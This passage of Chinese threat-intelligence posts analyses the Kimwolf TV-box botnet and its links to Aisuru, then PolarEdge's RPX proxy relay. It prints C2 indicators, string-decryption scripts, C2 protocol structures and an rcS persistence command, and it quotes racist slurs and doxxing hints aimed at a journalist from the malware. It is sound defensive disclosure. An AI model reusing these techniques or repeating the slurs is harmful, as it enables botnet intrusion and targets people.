X96Q	XBOX	SmartTV	MX10

感染设备分布在全球222个国家和地区，排名前15国家分析为巴西14.63%，印度12.71%，美国9.58%，阿根廷7.19%，南非3.85%，菲律宾3.58%，墨西哥3.07%，中国3.04%，泰国2.46%，沙特
2.37%，印度尼西亚1.87%，摩洛哥1.85%，土耳其1.60%，伊拉克1.53%，巴基斯坦1.39% 。

熟悉DDoS的读者可能会好奇：“如此庞大的僵尸网络，其攻击能力究竟达到了何种水平？”虽然我们无法直接度量，但通过两次大型DDoS事件的观察以及与Aisuru的横向对比，我们认为Kimwolf的攻击能力已接近30Tbps。

某知名云服务商在11月23日22：09Z观测到一起2.3Bpps的攻击，参与攻击的IP数量为45万，我方确认Kimwolf参与其中。
某知名云服务商在12月9日09:35Z观测到的一起接近30Tbps，2.9Gpps攻击，经过数据比之后，双方确定Kimwolf参与其中。
Cloudflare在其2025第三季度的DDoS威胁报告指出Aisuru是目前已知攻击能力最强的僵尸网络之一，控制规模达百万级 IoT/网络设备，可持续发动 Tbps 级乃至峰值接近 30 Tbps、10+ Bpps 的超大规模 DDoS 攻击。

实际上，我们认为Cloudflare观测到多起被归因于Aisuru的攻击背后，可能并非只有Aisuru一个僵尸网络在活动，Kimwolf也可能参与其中，甚至是由Kimwolf主导。这两大僵尸网络在9月至11月期间通过相同的感染脚本传播，共存于同一批设备中，它们其实隶属于同一个黑客团伙。

Kimwolf与Aisuru关联

我们是如何发现Kimwolf与Aisuru的关联呢？一切要从10月25日捕获的APK样本 b688c22aabcd83138bba4afb9b3ef4fc 说起，它的文件名与包名分别为aisuru.apk和com.n2.systemservice0644。这个样本实现了一个恶意的Android启动接收器（Boot Receiver），能够在设备启动完成后自动运行。

其主要恶意行为是：从应用自身的res/raw/资源目录中，提取一个预置的二进制文件（通过资源ID R.raw.libniggakernel引用），并将其写入应用数据目录下，命名为niggakernel，随后将该文件权限设置为可执行。接着，样本会尝试通过su命令获取root权限来执行此恶意程序，实现持久化驻留与系统控制。

经分析，这个预置的二进制文件ji.so，实质上就是“kimwolf”恶意软件。之前安全社区向我们提供的样本，正是该文件脱壳后的版本。

以上述APK的种种特征为线索，我们发现APK（MD5:887747dc1687953902488489b805d965）具有明显的同源特征，比如使用相同的资源ID名libniggakernel，相同的包名systemservice0644，Log标识“LOL”，预置文件名ji.so等。

令我们惊奇的是，这个APK中预置的3个二进制文件c0.so, ji.so, q8.so并不属于kimwolf家族，而是AISURU僵尸网络。它们与我们9月15日分析报告中提及的样本053a0abe0600d16a91b822eb538987bca3f3ab55使用相同的tiananmeng C2和Reporter。

11月29日，更多证据浮出水面，两个先后从美国上传至VirusTotal的APK样本与上面俩个APK高性相似。经分析，它们lib目录中的libdevice.so分别对应“kimwolf”和“aisuru”新变种。

902cf9a76ade062a6888851b9d1ed30d
家族：kimwolf
包名：com.n2.systemservice063
so文件目录：/lib/armeabi-v7a/libdevice.so
8011ed1d1851c6ae31274c2ac8edfc06 ，
家族：aisuru
包名：com.n2.systemservice062
so文件目录：/lib/armeabi-v7a/libdevice.so

更为关键的是，这俩个APK使用了相同的签名证书，证书SHA1指纹为182256bca46a5c02def26550a154561ec5b2b983。该证书的内容特征，如Common Name:John Dinglebert Dinglenut VIII VanSack Smith具有高度独特性，在互联网上并无公开记录，由此可以判断，它们出自同一开发组织之手。

12月8日，我们终于有了一锤定音的证据，在样本下载服务器93.95.112.59上捕获的脚本中直接将kimwolf(mreo31.apk)和aisuru(meow217)关联在一起。

谨慎的读者或许会问：“是否存在一种可能，即Aisuru团伙的代码遭泄露或已转卖给了第三方？”坦白而言，这种可能性确实存在。所幸的是，上述11月29日捕获的Aisuru样本，虽然C2地址已更新，但仍复用了此前名为tiananmeng的Reporter。基础设施的复用强有力地排除了第三方复用代码的可能性。综上，我们有高度的信心将Kimwolf归属于Aisuru团伙。

技术细节

我们捕获的Kimwolf样本中可以分成v4，v5俩个大版本。在v4中，Kimwolf的作者或是出于恶趣味，或是出于表达政治态度，喜欢在控制台输出各种信息。例如：

样本 18dcf61dad028b9e6f9e4aa664e7ff92 输出 "ForeheadSDK v2.0 Premium Edition"

样本 2078af54891b32ea0b1d1bf08b552fe8 输出 "Kim Jong-un Leads Our Nation to Strength. Long live our Supreme"

最夸张的是样本1c03d82026b6bcf5acd8fc4bcf48ed00，除出输出一系列政治观点，还专门嘲讽知名网络安全调查记者Krebs，称其拥有“大脑门”（KREBSFIVEHEADFANCLUB），甚至戏谑地让Xlab团队“品尝童子蛋”（VIRGINBOYEGGSFORXLAB）。

Kimwolf的作者相当睚眦必报，我们抢注其C2之后，他们马上反击，在ssl_socket的DDoS攻击方法中，留下一个“彩蛋”对中国人进行污名化。对此，我们只想说：“别太嚣张，迟早得吃我们几记铁拳”。

idontlikemchineseniggas
becausetheylikeitrealyoung
myniggatheylikeit131415.com

v4与v5版本的核心恶意功能高度一致，其运作流程均可概括为：样本在受感染设备启动后，首先通过创建文件socket实现单一实例，确保同一设备上仅有一个进程持续运行；随后解密内嵌的C2域名，并为了规避常规检测，使用DNS-over-TLS协议向公共DNS服务（8.8.8.8或1.1.1.1）的853端口发起查询，以获取真实C2 IP；最终与该IP建立通信连接，进入等待状态，随时准备接收并执行来自控制端的指令。

v4与v5版本最显著的区别在于获取真实C2 IP的方式：v4版本直接使用DNS查询C2域名的A记录，而v5版本在查询到IP后，还需进行异或操作。以C2域名rtrdedge1.samsungcdn[.]cloud为例，其在12月3日解析出的IP为44.7.0.45，与0xce0491异或后得到真实的C2 IP 45.206.3.189。

12月12日Kimwolf开始使用EtherHiding技术，样本了引入一个 ENS 域名（Ethereum Name Service，以太坊名称服务），pawsatyou.eth，C2隐藏在“lol”的文本记录。

但真实C2并不是"lol"中的IPV6，而是取地址的后4字节再进行异或后得到真实IP。以fed0:5dec:ea5e:d013:130:9:1be7:8599为例，取后4字节1b e7 85 99与0x93141715后得到真实C2 IP 136.243.146.140。

ENS的技术本质是一套部署在以太坊上的智能合约系统，pawsatyou.eth的合约地址为0xde569B825877c47fE637913eCE5216C644dE081F。熟悉智能合约的读者不难理解这一设计背后的优势：Kimwolf通过合约实现了一种类似云端配置C2的渠道，即使C2 IP被处置，攻击者只需更新lol记录就能快速下发新的C2。而这个渠道本身依托于区块链的去中心化特性，不受以太坊或其他区块链运营方的监管，也无法被阻断。

总体来说，Kimwolf的功能并不复杂，下文将以12月9日捕获的样本为主要分析对象，从字串解密，单一实例，网络协议等方面剖析Kimwolf的技术细节。

MD5:3e1377869bd6e80e005b71b9e991c060
MAGIC:ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
PACKER: UPX

字串解密

Kimwolf使用简单的栈异或（Stack XOR）操作对C2， DNS Resolver等敏感数据进行加密。IDA反编译的伪码中可以看到大量类似的代码片段，veorq_s64是8字节的异或指令，所以说解密很简单可以使用正则提取出操作数，然后进行异或即可，下图示例中v63解密的内容正是C2 staging.pproxy1[.]fun

相信尝试过手动解密的读者都会觉得这非常不方便，会问有没有更高效的方法呢？答案是肯定的，稍加观察上图的代码片段，可知解密后的C2字串是函数sub_8F00的第2个参数。根据这个特点，可以借助模拟器实现C2的批量自动解密。

import flare_emu
eh=flare_emu.EmuHelper()
def iterateHook(eh, address, argv, userData):
    if eh.isValidEmuPtr(argv[1]):
        buf=eh.getEmuString(eh.getRegVal('R1'))
        print(f"0x{address:x} ---> {buf}")
eh.iterate(0x00008F00,iterateHook)

最终效果如下，成功解密出6个C2：

veorq_s64的指令码为VEOR Q8, Q8, Q9，通过它可以定位所有加密字串所在的函数。再根据在不同函数所呈现的模式，利用flare_emu的iterate或emulateRange就能方便的实现解密所有敏感字串。

单一实例

Kimwolf将自身进程名伪装为netd_services或tv_helper，并使用名为@niggaboxv[数字]的Unix域socket实现单一实例控制。这一组合特征可作为高置信度感染指标用于设备排查。

网络协议

Kimwolf的网络通信始终采用TLS加密。早期版本中，应用层协议直接承载于TLS隧道；在当前版本中，在发送register消息之前还会进行websocket握手，但后续并没有使用该协议。它的网络通信报文遵循“Header + Body”的固定格式。在Header中，Reserved字段为固定值1，而Magic则是已迭代变更三次，当前版本为“AD216CD4”；Body部分则是不同的功能有不同的结构。

type Header struct {
	Magic    [4]byte   // "DPRK" -> "FD9177FF" -> "AD216CD4"
	Reserved uint8    //1 
	MsgType  uint8
	MsgID    uint32
	BodyLen  uint32
	CRC32    uint32
}

MsgType字段则是用于说明消息类型，它的取值及对应的功能如下表所示：

Bot与C2服务器之间的通信初始化采用一种三阶段握手机制。双方必须顺序完成register、verify、confirm三次交互，实现双向身份认证后，才被视为建立可信会话。接下来，让我们以实际产生的网络流量来解释Bot与C2的交互过程。

Step1: Register, Bot ---> C2

Bot向C2 发送俩次18字节的Header，其中MsgType为0，MsgID，BodyLen，CRC32字段均为0，Magic为FD9177FF 。

Step2: Varify, C2 ---> Bot

C2使用私钥对随机消息生成椭圆曲线数字签名，并按以下格式构建报文Body部分。

type VerifyBody struct {
	MsgLen uint32
	Msg    []byte
	SigLen uint32
	Sig    []byte
}

示例中Body按上述结构体进行解析可知：

MsgLen为4字节
Msg为 xx xx xx xx
SigLen为0x47字节
签名

   #Signature


  00000000  30 45 02 20 14 ca ab 58 4d 88 b7 e2 26 f2 a0 80  |0E. .Ê«XM.·â&ò .|
  00000010  49 22 c9 b0 98 9e f4 2b f9 01 8e 4c 20 71 ed 17  |I"É°..ô+ù..L qí.|
  00000020  cc 57 b6 b4 02 21 00 e0 c7 92 cb 28 d8 c9 d7 66  |ÌW¶´.!.àÇ.Ë(ØÉ×f|
  00000030  4f 1b d0 80 b8 35 26 dd 68 65 93 f2 69 13 13 e8  |O.Ð.¸5&Ýhe.òi..è|
  00000040  42 bd a7 6d a8 04 92                             |B½§m¨..|

当Bot收到Verify报文时，会使用硬编码的公钥验签。验证通过后即进入最终的Confirm阶段。Kimwolf的作者设计这一机制，本意是保护其C2网络不被他人接管。

 #Publickey


00000000  30 59 30 13 06 07 2a 86 48 ce 3d 02 01 06 08 2a  |0Y0...*.HÎ=....*|
00000010  86 48 ce 3d 03 01 07 03 42 00 04 ed 6a a0 57 2d  |.HÎ=....B..íj W-|
00000020  53 02 ce 35 cc 0a 04 93 2d b4 86 c9 a8 e2 93 f5  |S.Î5Ì...-´.É¨â.õ|
00000030  69 07 86 0f 99 42 4b a6 5c 12 7a e7 12 48 56 ad  |i....BK¦\.zç.HV.|
00000040  34 b5 ae 92 ec 98 c9 bc e1 d8 15 dc 6e 1c 59 1b  |4µ®.ì.É¼áØ.Ün.Y.|
00000050  be 96 b8 a9 5b 95 46 34 19 5a d2                 |¾.¸©[.F4.ZÒ|

Step3: Confirm, Bot -> C2

Bot将运行时传入的第一个参数做为分组标识，并按照GroupBody结构进行构造，上报给C2。示例使用的分组字串为“android-postboot-rt“。

type GroupBody struct {
	MsgLen uint32
	Group    []byte
}

Step3 : Confirm, C2 -> BOT

C2服务器在收到Bot的Confirm报文后，会查验其所属分组是否已预先在活动中启用。若匹配成功，则确认该Bot身份合法，并向其回传一个Confirm响应报文。该响应报文的MsgType字段值为2，且MsgID、BodyLen、CRC32字段均置为0。

经过以上流程之后，Bot和C2才算完成双完身份的认证，Bot开始等待执行C2发下的指令。当指令号是12时，Kimwolf执行DDoS相关功能，相信熟悉Mirai的读者看到DDoSBody的肯定会心一笑，该结构正是源于Mirai。

Type DDoSBody struct {
	AtkID     uint32
	AtkType   uint8
	Duration  uint32
	TargetCnt uint32
	Targets   []Target
	FlagCnt   uint32
	Flags     []Flag
}

以下为Kimwolf支持的13种DDoS 攻击方法。

指令跟踪

从Xlab的数据看Kimwolf僵尸网络的主要指令是利用Bot节点提供代理服务，占所有指令的96.5%。其余为DDoS攻击指令。DDoS攻击目标遍布全球各个行业。攻击目标主要集中在美国、中国、法国、德国、加拿大等地区。

迷之攻击，3天17亿

11月19日到22日，Kimwolf在短短的3天时间内，下发了高达17亿条指令，随机攻击全球大量IP地址。我们不清楚它为什么会有这种让人迷惑的攻击行为，因为这些攻击可能也无法对目标地址造成实质性的伤害。甚至一度怀疑是不是我们自己产生的BUG导致了这些异常。直到与我们多家头部云服务商进行数据核验后，才最终确认——Kimwolf 就是这么疯狂，它确实是扫射了整个互联网。

嚣张的攻击Payload

Kimwolf时常在DDoS的Payload中夹带各种嘲笑，挑衅，甚至勒索信息。

嘲讽

挑衅

勒索

额外的组件

在此次活动中，攻击者了为了最大限度的榨干被入侵设备的带宽，利益最大化。除了Kimwolf和Aisuru之后，还投入了Rust语言实现的Command Client以及ByteConnect SDK。

1: Command Client

Command Client的目的是组建代理网络，它以代理 socks 为目标, 从 C2 接收代理请求, 并将代理结果返回给 C2。

样本会将 CC 地址以密文形式保存在 rodata 段, 解密算法并不复杂, 为同长密码表的按字节异或.

def dec(encbts):
    tb1_off = 0
    tb2_off = 0x058BCD2 - 0x058BCA0
    bts = []
    for i in range(0, 0x30*4):
        bts.append(chr(encbts[tb1_off+i] ^ encbts[tb2_off+i]))
    return("".join(bts[:0x32]))

基于我们手中的样本, 可还原出两条CC地址, 分别如下:

proxy-sdk.14emeliaterracewestroxburyma02132.su:443
sdk-bright.14emeliaterracewestroxburyma02132.su:443

2: ByteConnect SDK

所谓ByteConnect SDK 是一款变现解决方案，可帮助开发者在各种平台上通过应用程序创收，他们宣称自己的 SDK 设计轻巧、安全，易于集成，它无广告，无加密货币挖矿，不影响性能，对用户体验的影响极小，用户甚至不会察觉到它的存在。

Downloader脚本下载的mreo12正是ByteConnect SDK。

ByteConnect的主页有一个收入计算公式：1万个接入点客，70% Opt-in Rate，每月将有490美元的收入。以Kimwolf 180万的规模来说，其背后的组织每月通过ByteConnect赚取的惊人的88200美元。

小小八卦

调查发现，Kimwolf的作者对知名网络安全调查记者Brian Krebs表现出近乎“痴迷”的执念，在多个样本中留下与他相关的彩蛋。

样本2078af54891b32ea0b1d1bf08b552fe8中，其udp_dns与mc_enc攻击方法中均嵌入了域名fuckbriankrebs[.]com，用于生成DNS查询载荷。

样本1c03d82026b6bcf5acd8fc4bcf48ed00的控制台输出中，更是直接出现了 KREBSFIVEHEADFANCLUB 字样，直译为 “Krebs大脑门粉丝俱乐部”，哈哈，妥妥的“黑粉”行为。

除了这种直接的“致敬”，还有隐藏更深的“爱”。我们接管的C2域名fuckyoukrebs1.briankrabs.seanobrien[redacted]ssn[redacted].su，除了明面上Krebs俩次，这一域名还暗藏玄机：seanobrien[redacted]对应的可能是Krebs的实际住址，ssn[redacted]则可能是其社会安全号码。如此行为，堪称网安世界的“私生饭”，着实让人发憷。

总结

这是我们目前掌握的Kimwolf僵尸网络的大部分情报。巨型僵尸网络始发于2016年的mirai，感染的目标主要集中在家庭宽带路由器，摄像头等IoT设备上。然而近年来 Badbox、Bigpanzi、Vo1d、Kimwolf等多个百万级巨型僵尸网络信息被披露，表明部分攻击者开始将注意力转向多款智能电视、电视盒子。这些设备普遍存在固件漏洞、预装恶意组件、弱口令以及缺乏安全更新机制等问题，极易被攻击者长期控制并用于大规模网络攻击。我们披露本次Kimwolf僵尸网络的动机之一，就是呼吁安全社区对智能电视相关设备给予应有的重视。

智能电视被攻击者拿到root权限后，带来的攻击不限于传统的网络空间，攻击者可以利用受控终端插播被篡改、有偏向或者极端视频，在许多国家的法律体制中，未经书面许可插播内容是破坏了观众和电视节目供应商的契约，是违法行为。例如，美国华盛顿特区 HUD 总部的电视设备曾被黑客篡改并播放一段未经授权的 AI 伪造视频（内容为特朗普亲吻马斯克脚趾，并附带LONG LIVE THE REAL KING字样），引发了显著的公共安全与舆论风险，等等。这是我们披露本次Kimwolf僵尸网络的动机之二，呼吁执法机构考虑对此类对智能电视相关的涉嫌违法行为加以审查。

在多重威胁叠加的背景下，无论是普通电视盒子用户、销售渠道、运营商，还是监管部门与厂商，都必须高度重视电视盒子的安全。其中，电视盒子用户尤其应当：确保设备来源可靠、使用可及时更新的固件、避免设置弱密码，并拒绝安装来路不明的 APK，以降低被僵尸网络感染和操控的风险。

如果您对我们的研究感兴趣，或了解与Kimwolf相关的线索，欢迎通过微信公众号留言与我们联系。

关心IOC的读者，可点击下文的阅读原文，移步至XLAB官方博客原文的IOC章节以获取更多内容。

阅读原文

跳转微信打开

锁定ORB网络PolarEdge的关键拼图: RPX中继系统浮出水面

Wed, 29 Oct 2025 11:37:00 +0800

原创奇安信X实验室 2025-10-29 11:37 北京

背景介绍

2025年5月30日，奇安信Xlab大网威胁感知系统监测到IP地址 111.119.223.196正在传播一个名为“w”的ELF文件。AI检测模块将其标注为与PolarEdge相关，而该文件在VirusTotal上的检测结果为零。这一发现引发了PolarEdge是否已悄然启动新一轮活动的猜测。带着好奇，我们展开了深入调查。经过一系列关联分析，一个此前从未被公开记录的组件RPX_Client浮出水面。该组件的主要功能是将受控设备接入指定C2节点的代理池，为其提供代理服务，并支持远程命令执行。

PolarEdge由法国安全厂商Sekoia于2025年2月25日首次披露。该威胁利用存在漏洞的IoT，边缘网络设备，并结合购买的VPS，疑似构建一个“运营中继盒子”（Operational Relay Boxes, ORB）网络，用以协助实施各类网络犯罪活动。ORB网络在功能上类似住宅代理，它的核心目标并非直接实施破坏性攻击，而是致力于长期潜伏与流量混淆，属于典型的基础服务型恶意架构。

ORB网络在规避检测，隐藏网络攻击的来源，复杂化归因分析等方面的突出表现，让其倍受APT级攻击者的青睐，是2025年网络安全领域的热点之一。针对ORB网络的这一特性，安全厂商Mandiant甚至提出了 "ORB兴起，IOC消亡"的观点，认为ORB网络可能削弱传统威胁指标（IOC）在攻击检测与活动归因中的有效性。

2025年8月和9月，美国资产测绘厂商Censys先后发布了两篇关于PolarEdge的研究报告，他们过证书关联重点分析了一大批基础设施。在9月23日的报告中，Censys披露了一个名为RPX_SERVER的服务端程序，核心功能是充当反向连接代理网关。但因被告知相关证书并非攻击者独有，Censys对于将这些设施以及RPX_Server与PolarEdge明确关联的信心有所下降。

然而，从Xlab的视角来看，我们有极高的信心将Censys原始报告中提及的部分使用PolarSSL测试证书的基础设施以及RPX_Server归因于PolarEdge。这一判断主要基于此次捕获的RPX_Client样本所带来的独特情报，具体依据如下：

传播RPX_Client的脚本的编码风格，以及ELF样本w与已知的PolarEdge样本呈现出明显的同源特征。
RPX_Client与RPX_Server在功能上高度契合，正如其命名所示，二者构成了典型的客户端-服务器关系。
在一个RPX_Server的数据库中发现了通过111.119.223.196传播RPX_Client的记录。
部分使用PolarSSL测试证书的服务器能够正确处理RPX_Client的请求，这些服务器上部署了RPX_Server实例。

RPX_Server与RPX_Client的相继发现，使我们有机会更深入地探究PolarEdge背后的中继运行机制、基础设施。成果是喜人的，在运行机制层面，我们逐步摸清了PolarEdge如何借助RPX_Server、Go-Admin与Nginx实现节点管理与业务分发；在基础设施层面，目前已识别出140个C2服务器，并发现总计超过25000个感染节点IP。然而必须承认，任何单一厂商的监测视野都存在其局限性，对一项威胁的透彻解析往往离不开行业内的广泛协作。为更好地研究PolarEdge这一ORB网络，我们决定撰写本文向社区分享相关发现，希望Sekoia、Censes、Xlab的研究成果能够为后续对PolarEdge的深入探索奠定基础。

第一部分：基础设施与感染规模

140个命令与控制服务器

我们通过不同时间段的脚本q捕获了10个的RPX Server IP，它们都使用55555端口，该端口共享同一个公开的PolarSSL测试证书。

以证书+ 端口55555这一模式作为特征，通过奇安信网络空间测绘系统鹰图平台，我们初步识别出161个IP，再基于逆向工程所得的通信协议对这批资产进行了验证，确认其中140个IP为可正常交互的有效RPX Server。(注：目前，IP 8.219.214.27虽然无法正常交互，但通过与其他数据比对，我们确认该IP仍属于RPX服务器。）

这140个Server本身也呈现很有意思的特征，它们都是VPS节点，集中分布在ASN45102，ASN37963，ASN132203，隶属于阿里云和腾讯云。

通过逆向，我们也发现了API接口可将这些服务器代理池中的节点生成clash配置文件供各类攻击者或某个特定活动使用。

25000个被感染的IoT & 路由器

通过技术手段，我们获取了部分RPX客户端数据集。数据涵盖IP、brand、createAt、onlineTime等字段，使我们能够从感染规模、地理分布及设备类型等多个维度，对PolarEdge RPX进行深入分析。

统计数据显示，自2024年7月以来，已累计感染超过25,000个IP，且感染规模呈现持续上升趋势。

感染设备分布在40个国家地区，主要集中在东南亚以及北美。排名前十的国家分别为：韩国41.97%，中国20.35%，泰国8.37%，马来西亚5.98%，印度3.79，以色列3.73%，美国3.69%，越南2.56%，印度尼西亚2.12%，俄罗斯1.19%。

RXP Client 在向 Server 上报信息时，通过 brand 字段来标识设备的分组或类型，ktcctv和tvt是主要被感染设备，占比超过90%。

第二部分：时间线与关联分析

捕获新脚本的时间线

2025年4月27日，我们监测到攻击者利用 CVE-2023-20118 通过111.119.223.196传播一个名为s的脚本，遗憾的是，当时由于网络故障这一脚本并没有被捕获。
2025年5月30日，IP 111.119.223.196传播一个名为 w 的ELF文件，其下载链接为 111.119.223.196:51715/w。经查，该文件早在2023年12月25日就曾由IP 82.118.22.155传播。通过分析IP 82的历史活动，我们发现一个清晰的传播链条："脚本a → w → 脚本q"。
这给了我们启发：当前的IP 111可能也存在相同的链条。于是，我们展开了主动狩猎，将 "111.119.223.196:51715/q" 这一地址纳入了Xlab的Payload监控系统。
2025年6月2日，成功捕获了脚本q，它为我们带来了本文的研究主角——rpx_client。值得一提的是，根据Payload监控系统的记录，IP 111并未持续提供下载服务，脚本q仅处于间歇性的可下载状态。

2.2: 归属于PolarEdge的原因

82.118.22.155的角色

VT数据显示，IP地址 82.118.22.155 曾在2023年12月传播过一个Shell脚本a及一个ELF格式的可执行文件w，表明其很可能是一个Downloader服务器。PDNS记录进一步显示，域名 beastdositadvtofm[.]site 在同一时期曾解析至该IP。此外，该域名与Sekoia披露的C2域名 icecreand[.]cc 和 centrequ[.]cc 的CNAME记录均指向同一主机：jurgencindy.asuscomm.com。基于上述强关联，我们有信心将该域名与IP归因于PolarEdge基础设施。

最近我们在整理PolarEdge样本时又发现石锤性的证据，该域名和IP均出现在一个PolarEdge后门样本解密后的C2配置中，所以82.118.22.155至少在2023年12期间是PolarEdge的基础设施，传播的样本a, w极有可能用于下载PolarEdge后门。样本a，w是PolarEdge背后的团伙开发，它们本身体现出的特征能够作为归因判断的依据。

ELF样本相似性

样本 w 新增了两个未加密的 Section：xxxx 与 cccc。相比之下，已知的 Polaredge 样本则拥有两个经过加密的 Section：init_text 和 init_rodata。尽管存在加密与否的差异，但新增区段这一行为本身，已体现出两者在设计理念上的一致性。

更重要的是，w所支持的参数字符串以及与HTTP协议相关的字段（如Host、User-Agent等）具有非常独特的特征，与PolarEdge后门样本存在明显同源关系。我们认为，w实际上是从PolarEdge后门核心代码中剥离出的Connect-back模块，其专门职能是下载后续有效载荷。这一点从w唯一支持的"curk"模式中得到了进一步印证——该名称很可能是"curl"的拼写错误（或是某种刻意致敬），这也从侧面佐证了其专门作为“下载工具”的功能定位。

脚本相似性

111.119.223.196和82.118.22.155不仅共同一个w，它们传播的脚本也高度相似，风格几乎一模一样。

综上所述，我们确认IP地址111.119.223.196是PolarEdge的资产。此次活动通过脚本q和w传播的新样本RPX_Client归属于PolarEdge，它是该威胁首次发现的的中继组件。

第三部分：技术细节

脚本q的功能

我们一共捕获了11个不同hash值的脚本q，由于它们有使用混淆技术，因此分析上并没有难度。它们的功能几乎一模一样，核心目的为下载执行rpx组件，只是供rpx回连的C2有所差异。

下载wget.tar

使用w下载wget.tar，注意w的参数，其中m表示模式，h是远程主机，e是端口，f是本地路径，q是远程路径。

wget.tar 压缩包内包含两个文件：rpx 和 rpx.sh。其中，rpx 是本文的分析核心，即 rpx_client；而 rpx.sh 则是一个用于持久化的脚本。通过执行 echo "/bin/sh /mnt/mtd/rpx.sh &" >> /etc/init.d/rcS 命令，将 rpx.sh 注入到 rcS 初始化脚本中，从而实现了持久化驻留。

启动rpx核心组件

rpx将被侵入设备加入到ORB网络，它的第一个参数为控制节点的ip，第2个参数为端口，第3个参数为brand，可能理解成分组。我们在了11个q脚本中一共收集了10个的控制节点IP，使用的端口都是55555。

剖析RPX系统

RPX服务器节点

RPX服务器节点通常运行四个核心服务：RPX_Server、Nginx、Go-Admin与Go-Shadowsocks。在这些服务中，RPX_Server与二次开发的Go-Admin是PolarEdge的关键组件——RPX_Server作为工作节点（worker），负责实际对外提供代理服务；Go-Admin则作为管理节点（administrator），承担代理节点注册、会话验证、指令分发以及导出Clash配置供第三方使用等任务。Nginx采用反向代理模式，将19999端口的流量转发至Go-Admin服务，而Go-Shadowsocks则专门提供Shadowsocks代理服务。

这些服务的运行使服务器节点呈现出以下网络特征：

Nginx(端口19999): 使用固定的自签名证书，其指纹为：
3f00058448b8f7e9a296d0cdf6567ceb23895345eae39d472350a27b24efe999
RPX_Server(端口55555、55557和55558): 使用固定的自签名证书，其指纹为：
e234e102cd8de90e258906d253157aeb7699a3c6df0c4e79e05d01801999dcb5
Go-Admin(端口 55560): 尽管该服务使用动态生成的自签名证书，但其证书中存在一个恒定不变的特征：颁发者与所有者字段均被设置为空值(O = null, CN = null)。

RPX Server

简而言之，RPX Server 是一种反向连接代理网关，核心机制在于：它本身不会直接连接到目标地址，而是调度已注册的代理节点去连接目标，并让代理节点反向连接回网关分配的一个临时端口，最终在此端口上完成客户端与目标之间流量的透明桥接。

以下通过实际测试说明其这一机制：我们在日本测试主机 45.x.x.8 上运行 RPX_Client，将其注册至 RPX Server 节点 8.216.14.9。随后在本地运行 go-shadowsocks 客户端连接至该控制节点，并通过 ipinfo.io 查看出口 IP。

尽管 go-shadowsocks 的日志显示连接路径为本地 proxy ←→ RPX Server ←→ ipinfo.io，但通过 curl --socks5 返回的实际 IP 地址可知，真实的完整路径为：本地 proxy ←→ RPX Server ←→ RPX Client (45.x.x.8) ←→ ipinfo.io。在实际攻击的场景中，这种多跳能够很好的隐藏攻击源。

Server运行时接收两个参数：第一个是用于与 RPX_Client 交互的端口；第二个是代理服务的基础端口，基于它开启三种代理服务：SOCKS5（参数二）、SOCKS5 over TLS（参数二+1）和 Trojan（参数二+2）。目前实际观测到的参数值分别为 55555 与 55556。关于 RPX Server 的实现细节，Censys 已有文章进行深入分析，本文不再重复，有兴趣的读者可进一步查阅其报告。

RPX Client

我们一共捕获了4个的RPX Client样本，其中3个来自IP地址111.119.223.196，另外1个来自VirusTotal。来自该IP的样本均为ARM架构，而VirusTotal提供的样本为MIPS架构，这表明RPX在野还存在其他传播渠道。这4个样本的版本号均为0.0.13，根据现有统计数据，该版本是目前的主要流行版本。

在4个样本中，7fa5fb15098efdf76e4c016e2e17bb38 比较特别，因为它在运行时会在控制台打印出调试信息。我们以它为主要分析对象，其基本信息如下：

MD5: 7fa5fb15098efdf76e4c016e2e17bb38
MAGIC: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
PACKER: None

RPX_CLIENT在PolarEdge网络中充当jumpserver的角色，这一点可从样本中暴露的源码文件名，运行时的日志得到验证。

它的功能设计较为简明，在侵入目标设备后，该程序首先将自身进程名称伪装为 connect_server，同时通过 PID 文件 /tmp/.msc 实现单实例运行，避免重复启动。随后，它会尝试读取全局配置文件 .fccq，从中获取 C2 服务器地址、通信端口、设备 UUID 及品牌信息等关键参数。若配置文件不存在，则会将运行时传入的参数加密保存至 .fccq 文件中以供后续使用。

完成配置初始化后，RPX_Client会与C2服务器建立两个独立的网络连接，以执行不同任务：一个连接至PORT参数指定的端口，该端口由RPX_SERVER服务监听，专门负责节点注册，流量代理；另一个则连接至固定端口55560，该端口由go-admin服务监听，专门用于执行远程命令。

解密配置文件

RPX_CLIENT首次运行时，会将参数加密保存在同目录的.fccq文件中，加密方式为单字节异或0x25。实际产生的配置文件为例，解密后的内容分别为UUID，C2，PORT，BRAND，version。

端口参数1(当前在野均使用55555)的任务

RPX_CLENT首次加入到网络中时，首先需要获得由服务器生成的uuid作为身份标识，网络交互逻辑如下：

Bot -> C2，33字节，结构为flag(1byte) + uuid(32 bytes)
Bot -> C2，32字节，结构为brand(16 bytes) + version(16 bytes)
C2 -> Bot，33字节，结构为flag(1 byte) + uuid(32 bytes)

当C2向Bot回包中的flag值为0x01时，表示收到uuid，bot将此uuid保存到配置文件中供后续使用。

随后继续接收C2下发的指令，准备提供代理服务。以下为指令的对应的结构体，实际使用时destation的长度由dest_length字段指定。

struct Protocal
{
  uint16_t magic;
  uint16_t port;
  uint16_t dst_port;
  uint16_t dest_length;
  char destination[256];
};

Magic字段指定了Bot的功能，它的值可以为0x11,0x12,0x16。我们在Xlab指令跟踪系统中实现了对该协议的模拟，从统计数据来看，暂时并没有特别的目标，流量大多为对qq,wechat,google,cloudflare的访问。

端口 55560的任务

RPX_CLIENT连接到服务器的55560端口，发送uuid表明身份，接收需要执行的远程命令，网络交互逻辑如下：

Bot -> C2，11字节，固定为“xa2axasexqx”
Bot -> C2，32字节，uuid
C2 -> Bot，4字节，命令报文长度
C2 -> Bot，命令报文，具体命令由"cmd"字段指定

除系统命令外，该样本还内置了两项特殊指令：change_pub_ip 与 update_vps，分别用于更换C2服务器地址及完成样本自我升级。基于UUID的身份识别机制，结合远程命令执行能力，PolarEdge背后的攻击者能够对代理节点进行高度精细的控制与灵活调度——既可随时指派节点执行其他任务或切换职能，也可在某一C2地址暴露时，迅速将代理池中节点迁移至新地址。

尽管当前我们的指令跟踪系统仅捕获到如echo hello一类用于维持心跳的简单指令，但在所掌握的RPX服务器日志中，明确存在change_pub_ip命令的实际执行记录。

另外服务器日志中还有与111.119.223.196相关的命令，显示它不仅充当了下载服务器，还作为反弹Shell的接收端，直接实锤了该IP是PolarEdge资产，也验证了我们在文章开头对该IP的研判。

总结

